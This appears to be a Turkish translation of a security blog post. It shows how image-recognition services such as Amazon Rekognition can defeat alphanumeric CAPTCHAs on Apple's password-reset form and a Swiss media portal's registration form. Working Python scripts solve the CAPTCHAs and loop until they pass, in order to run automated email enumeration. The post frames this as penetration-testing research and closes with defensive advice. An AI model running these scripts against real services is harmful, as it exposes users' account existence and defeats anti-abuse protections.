Görüntü Tanıma ile CAPTCHA Engellerini Aşmak
🇹🇷 Bu makalede, görüntü tanıma servislerinin (AIaaS) klasik alfanümerik CAPTCHA'ları atlatmak için nasıl kullanılabileceği; Apple-ID ve Medienportal örnekleri üzerinden adım adım anlatılmaktadır.
Bu yazı, InfoGuard blogunda yayınlanan orijinal makalenin Türkçe çevirisidir.
Özet (TL;DR): Alfanümerik bir CAPTCHA ile karşılaştıktan sonra hala bazı sızma testi (pentest) bulgularını sadece “bilgi” (info) olarak mı işaretliyorsunuz? Bir Red Team operasyonu sırasında bu tür engeller yüzünden otomatize edemediğiniz kullanıcı listesi çıkarma (enumeration) görevleri sizi hiç bunalttı mı? Bu makale, görüntü tanıma servislerinin klasik alfanümerik CAPTCHA’ları aşmak için nasıl kullanılabileceğini açıklamaktadır. Apple-ID ve Medienportal örnekleri üzerinden süreci adım adım inceleyecek ve çalışan basit bir Python koduyla konuyu sonuçlandıracağız.
Giriş
CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart), bir uygulamanın belirli bölümlerinin botlar tarafından otomatik olarak (kötüye) kullanılmasını önlemek için kullanılan tekniklerin genel adıdır. Genellikle (ancak bunlarla sınırlı olmamak üzere), kayıt veya giriş formları; sahte hesapların toplu oluşturulmasını veya kaba kuvvet (brute force) saldırılarını engellemek için bu yöntemle korunur. CAPTCHA’larda metin tanıma için makine öğrenimi (machine learning) kullanma fikri yeni olmasa da, hizmet olarak sunulan yapay zeka (AIaaS) modelleri artık çok daha güçlü ve kullanımı son derece ucuz hale geldi (örneğin; görsel başına 0.001$). Optik olarak tanınması gereken harf ve rakamlardan oluşan alfanümerik CAPTCHA’ların, Apple gibi teknoloji devleri de dahil olmak üzere birçok şirket tarafından hala yaygın olarak kullanılması ise şaşırtıcıdır.
Aşağıda, alfanümerik CAPTCHA’ların görüntü tanıma (image recognition) kullanılarak programatik olarak nasıl çözülebileceğini göstereceğiz. Problemin tespitinden çalışan bir bypass (atlatma) çözümüne kadar olan süreci adım adım açıklayacağız. Kod örneklerimizde temel olarak Python requests kütüphanesini ve Amazon Rekognition‘ın metin algılama motorunu kullanacağız; ancak herhangi bir programlama dili veya benzer bir servis de tercih edilebilir.
Kullanım Senaryoları (Use Cases)
Apple-ID
iforgot.apple.com/password/verify/appleid
Apple-ID şifrenizi unuttuysanız, iforgot.apple.com adresi üzerinden sıfırlayabilirsiniz. Ancak Apple, bu özelliğin kötüye kullanılmasını önlemek için kullanıcıdan yan yana duran bir görseldeki karakterleri girmesini ister. Genellikle bu metinler; karakterlerin birbirinin üzerine binmesi, çizgi veya desen gibi gürültülerin (noise) eklenmesiyle yapay zekanın tanımasını zorlaştıracak şekilde görsel olarak bozulmuştur. Bu karakterleri tanıma zorluğu bir görselden diğerine büyük ölçüde değişir ve genellikle yeni bir sınama (challenge) talep etme konusunda bir sınır yoktur; bu da otomasyon için ideal koşulları sağlar.
Web sitesi yakından incelendiğinde iki temel ağ çağrısı (web-call) tespit edilebilir: Birincisi, “Yeni Kod” tıklandığında yeni bir CAPTCHA görseli getiren GET isteği; ikincisi ise form gönderildiğinde (“Devam Et”) CAPTCHA girişini doğrulayan POST isteğidir. Bir CAPTCHA örneğinin kullanıcı oturumuyla eşleştirilmesinin oturum çerezleri (session cookies) kullanılarak yapıldığını unutmamak önemlidir.
Kodumuz, formun bulunduğu iforgot.apple.com adresini çağırarak başlar ve daha sonra CAPTCHA talep etmek ve doğrulamak için ihtiyaç duyacağımız oturum çerezlerini saklar:
1
2
3
4
5
6
7
8
headers = {
'Content-Type': 'application/json',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7',
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/500.36 (KHTML, like Gecko) Chrome/99.0.0.74 Safari/537.0"
}
response = requests.get('https://iforgot.apple.com/password/verify/appleid', headers=headers)
cookies = response.cookies
iforgot.apple.com/captcha?captchaType=IMAGE üzerinden yapılan CAPTCHA talebi, JSON formatında Base64 kodlu bir görsel verisi, bir belirteç (token) ve bir ID döndürür. Görseli bir dosyaya kaydeder ve geri kalan bilgileri değişkenlerde saklarız. Görsel, detect_text() fonksiyonu kullanılarak bayt (bytes) cinsinden Amazon Rekognition’a gönderilir ve bu fonksiyon ['TextDetections'] anahtarı altında algılanan metinlerin bir dizisini döndürür. Çoğu durumda yalnızca tek bir metin nesnesi algılandığı için, dizinin ilk elemanına erişmek yeterlidir.
Amazon Rekognition kullanabilmek için
~/.aws/credentialsdosyasında geçerli biraws_access_key_idveaws_secret_access_keytanımlanmış olmalıdır. Daha fazla bilgi için buraya bakabilirsiniz.rek_client = boto3.client('rekognition', region_name='us-west-2')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
while True:
response = requests.get('https://iforgot.apple.com/captcha?captchaType=IMAGE', headers=headers, cookies=cookies)
captcha_payload = response.json()["payload"]["content"]
captcha_token = response.json()["token"]
captcha_id = response.json()["id"]
file_name = 'data/decoded_image.jpg'
base64_img_bytes = captcha_payload.encode('utf-8')
with open('./data/decoded_image.jpg', 'wb') as file_to_save:
decoded_image_data = base64.decodebytes(base64_img_bytes)
file_to_save.write(decoded_image_data)
with open(file_name, 'rb') as im:
im_bytes = im.read()
response = rek_client.detect_text(Image={'Bytes': im_bytes})
textDetections = response['TextDetections']
if response['TextDetections'] is not None:
captcha_answer = str(textDetections[0]['DetectedText']).replace(' ', '')
else:
captcha_answer = ''
continue
Tahmin edilen CAPTCHA yanıtı, ID ve token kullanılarak doğrulama için POST isteği oluşturulur. Yanıt geçersizse, dönen veri içinde captchaAnswer.Invalid dizisi bulunur; bu dizinin yokluğu başarılı bir doğrulama anlamına gelir.
Bu senaryoda, başarılı bir form gönderimi, verilen e-posta adresinin geçerli bir Apple-ID olup olmadığını (veya DEĞİLSE bunu) ortaya çıkardığı için, appleIdNotSupported dizisini kontrol ederek basit bir kullanıcı listeleme (enumeration) testi yapabiliriz:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
json = {
"id": email,
"captcha": {
"id": captcha_id,
"answer": captcha_answer,
"token": captcha_token
}
}
response = requests.post('https://iforgot.apple.com/password/verify/appleid', headers=headers, cookies=cookies, json=json)
captcha_failed_string = 'captchaAnswer.Invalid'
if not captcha_failed_string in str(response.content):
if 'appleIdNotSupported' in str(response.content):
print('e-mail ' + email + ' not registered')
else:
print('e-mail ' + email + ' registered')
break
İstediğimiz kadar CAPTCHA görseli talep edebildiğimiz için, doğru yanıt bulunana kadar bu süreci sürekli olarak tekrarlayabiliriz. Aşağıda görüldüğü gibi, Amazon’un modeli görsellerin çoğunu doğru tahmin etmekte ve ortalama olarak çok az deneme sonrasında geçerli bir yanıta ulaşılabilmektedir:
Apple CAPTCHA’larının etiket algılama (label detection) örneği
Artık bu CAPTCHA atlatma yöntemini kullanarak Apple-ID’ler üzerinde otomatik bir kullanıcı listeleme (user enumeration) kontrolü çalıştırabiliriz:
Medienportal
Şimdi benzer ikinci bir örneği inceleyelim. Medienportal’ın kayıt formu da alfanümerik bir CAPTCHA kullanıyor. Bu kez metin tespitini zorlaştırmak için yoğun bir çizgi (strikethrough) ve büyüteç etkisi (magnifier effect) kullanılmış.
Yine bir görseli getiren/yenileyen GET isteğini ve formu gönderip CAPTCHA girişini doğrulayan “Speichern” (Kaydet) butonunun tetiklediği POST isteğini tespit ediyoruz. Oturum eşleşmesi yine çerezler üzerinden sağlanıyor.
Bu vakadaki görsel gizleme (obfuscation) stratejisi ilk örnekten biraz farklı olsa da, model yine doğru içeriği algılamada oldukça başarılı:
Uygulama, form gönderimindeki bazı küçük farklar dışında Apple-ID ile neredeyse aynıdır. Yine bir otomasyon örneği olarak kullanıcı listeleme (user enumeration) testini gerçekleştiriyoruz. Kayıt formunu hedeflediğimiz ve olmayan bir e-posta için yeni bir hesap oluşturmak istemediğimiz için; posta kodu, şehir, sokak vb. gibi zorunlu alanları bilerek boş bırakıyoruz. Bu sayede form her zaman başarısız olacak, ancak yine de e-postanın kayıtlı olup olmadığını bize söyleyecektir.
Kayıt formu durumunda kullanıcı listeleme yapabilmek için giriş doğrulama (input validation) sırası istismar edilir. Eğer form, e-posta adresinin varlığını doğrulamadan önce tüm alanları tek tek doğrulasaydı, boş alan bırakma stratejimiz işe yaramazdı. Tabii ki, herhangi bir bilginin verilmemesi bir formun beklenen (ve güvenli) davranışı olmalıdır.
Bu kez veriler JSON yerine standart POST gövdesi (body) olarak gönderiliyor. Bir döngü içinde captcha_failed_string (doğrulama hatası dizisi) bulunmayana kadar işleme devam ediyoruz:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'https://medien.***.ch'
}
safe_string_email = urllib.parse.quote_plus(email)
safe_string_captcha = urllib.parse.quote_plus(captcha_answer)
data_body = (
"\_com_liferay_login_web_portlet_LoginPortlet_formDate=&"
"\_com_liferay_login_web_portlet_LoginPortlet_saveLastPath=false&[...]&"
"\_com_liferay_login_web_portlet_LoginPortlet_street=&"
"\_com_liferay_login_web_portlet_LoginPortlet_phone=&"
"\_com_liferay_login_web_portlet_LoginPortlet_mobile-phone=&"
"\_com_liferay_login_web_portlet_LoginPortlet_emailAddress=" + safe_string_email +
"&_com_liferay_login_web_portlet_LoginPortlet_password1=Super1234!&"
"_com_liferay_login_web_portlet_LoginPortlet_password2=Super1234!&"
"_com_liferay_login_web_portlet_LoginPortlet_captchaText=" + safe_string_captcha +
"&_com_liferay_login_web_portlet_LoginPortlet_checkboxNames=&p_auth=43F3MwwF"
)
response = session.post(submit_url, headers=headers, cookies=cookies, data=data_body)
captcha_failed_string = 'fung fehlgeschlagen'
if not captcha_failed_string in str(response.content):
if 'Die angegebene E-Mail-Adresse ist schon vergeben.' in str(response.content):
print('e-mail ' + email + ' registered')
else:
print('e-mail ' + email + ' not registered')
break
İkinci CAPTCHA atlatma yöntemimizi kullanarak Medienportal hesapları üzerinde otomatik bir kullanıcı listeleme kontrolü çalıştırıyoruz:
Özet
Bu makalede gösterildiği gibi, alfanümerik CAPTCHA’lar herhangi bir görüntü tanıma sağlayıcısı kullanılarak kolayca atlatılabilir. Bunun için özel bir araç setine veya karmaşık teknik bilgiye ihtiyaç yoktur; sadece birkaç satır kod ile özel bir bypass betiği yazılabilir. Alfanümerik CAPTCHA’ları aşmak hızlı, ucuzdur ve büyük ölçekte gerçekleştirilebilir. Botları/otomasyonu engellemek için bu tekniğin hala bu kadar yaygın kullanılması şaşırtıcıdır; yapay zekadaki nefes kesici ilerleme ise durumu daha da kritik hale getirmektedir.
Peki, alfanümerik CAPTCHA’larla ne yapmalıyız? Sonucumuz şudur: Bu CAPTCHA’lar güvenilir ve emniyetli değildir; özellikle bir sistemin güvenliğini veya gizliliğini ilgilendiren kritik işlevleri korumak için artık kullanılmamalıdır. Google’ın reCAPTCHA’sı veya Cloudflare gibi, aşılması çok daha zor olan daha gelişmiş otomasyon önleme çözümleri mevcuttur. Ancak daha klasik CAPTCHA’lar için bile, görsel tazeleme (refresh) fonksiyonuna yapılabilecek çağrı sayısına temel kısıtlamalar (ve nihayetinde engellemeler) getirmek bile otomasyon olasılığını büyük ölçüde azaltabilir.






